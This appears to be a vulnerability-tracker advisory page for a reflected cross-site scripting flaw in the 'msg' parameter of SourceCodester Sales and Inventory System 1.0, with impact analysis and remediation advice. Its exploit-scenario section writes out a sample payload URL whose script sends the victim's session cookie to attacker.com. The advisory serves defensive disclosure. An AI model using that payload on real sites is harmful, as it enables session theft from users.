EUVD-2026-17135
GHSA-4cq8-w5ch-hhg7
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While CVSS and EPSS data are unavailable, the presence of publicly available exploit code and the simplicity of reflected XSS attacks suggest moderate real-world risk. Reflected XSS typically requires social engineering (tricking users into clicking a malicious link), which limits its impact compared to stored or DOM-based XSS. However, the lack of input validation on a parameter name as common as 'msg' indicates poor security hygiene in the application. The attack vector is network-based and requires no authentication or special complexity, making exploitation trivial once a user is lured to a malicious URL. Without vendor patch confirmation, organizations running this application have limited remediation options beyond application-level input validation or Web Application Firewall (WAF) rules. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as 'http://target.com/index.php?msg=<script>fetch("http://attacker.com/steal?cookie="+document.cookie)</script>' and sends it to employees or customers via email or social media. When a victim clicks the link while logged into the application, the injected script executes in their browser context, stealing session cookies or redirecting them to a phishing site. Publicly available proof-of-concept code makes this attack executable without significant technical expertise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Reflected cross-site scripting (XSS) in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through the 'msg' parameter in index.php. Publicly available proof-of-concept code exists, enabling attackers to craft malicious URLs that execute scripts in victim browsers when clicked. No CVSS vector or patch information is available; the vulnerability appears limited in scope to a single PHP parameter.
RemediationAI
No vendor-released patch identified at time of analysis. Immediate remediation requires sanitizing and output-encoding all user input, particularly the 'msg' parameter in index.php using appropriate PHP functions such as htmlspecialchars() or a security-focused templating engine. Organizations should implement Content Security Policy (CSP) headers to restrict script execution, deploy a Web Application Firewall to filter malicious XSS payloads, and upgrade to a newer version of SourceCodester Sales and Inventory System if available from the vendor. Code review of other user-controlled parameters is recommended to identify similar vulnerabilities. Reference: https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-Index-msg.md
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a classic reflected XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) in a PHP-based inventory management application. The 'msg' parameter in index.php is passed directly to the response without sanitization or output encoding, allowing attacker-controlled input to be interpreted as executable script by the victim's browser. Reflected XSS differs from stored XSS in that the malicious payload is not persisted; instead, it must be delivered via a crafted URL in each attack. The vulnerability affects SourceCodester Sales and Inventory System version 1.0, a lightweight web application commonly used in small business environments.
Know when Sales And Inventory System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the index.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in SourceCodester Sales and Inventory System XSS
View all 11More in Sales And Inventory System
View allSQL injection vulnerability in SourceCodester Sales and Inventory System v 1.0 allows remote attackers to execute arbitr
A vulnerability was found in Campcodes Sales and Inventory System 1.0 and classified as critical. Rated medium severity
A vulnerability was found in Campcodes Sales and Inventory System 1.0 and classified as critical.php. Rated medium sever
A vulnerability has been found in Campcodes Sales and Inventory System 1.0 and classified as critical. Rated medium seve
SQL injection in itsourcecode Sales and Inventory System 1.0 exposes the login endpoint to unauthenticated remote exploi
A vulnerability, which was classified as critical, was found in Campcodes Sales and Inventory System 1.0. Rated medium s
CVE-2025-7538 is a critical unrestricted file upload vulnerability in Campcodes Sales and Inventory System version 1.0,
SQL injection in Campcodes Sales and Inventory System 1.0 allows remote attackers to execute arbitrary SQL commands via
CVE-2025-6311 is a critical SQL injection vulnerability in Campcodes Sales and Inventory System version 1.0 affecting th
A security vulnerability in A vulnerability (CVSS 7.3). Risk factors: public PoC available.
SQL injection in Campcodes Sales and Inventory System 1.0 allows remote unauthenticated attackers to inject malicious SQ
SQL injection in Campcodes Sales and Inventory System 1.0 allows remote unauthenticated attackers to manipulate the 'cid
Exploit-DB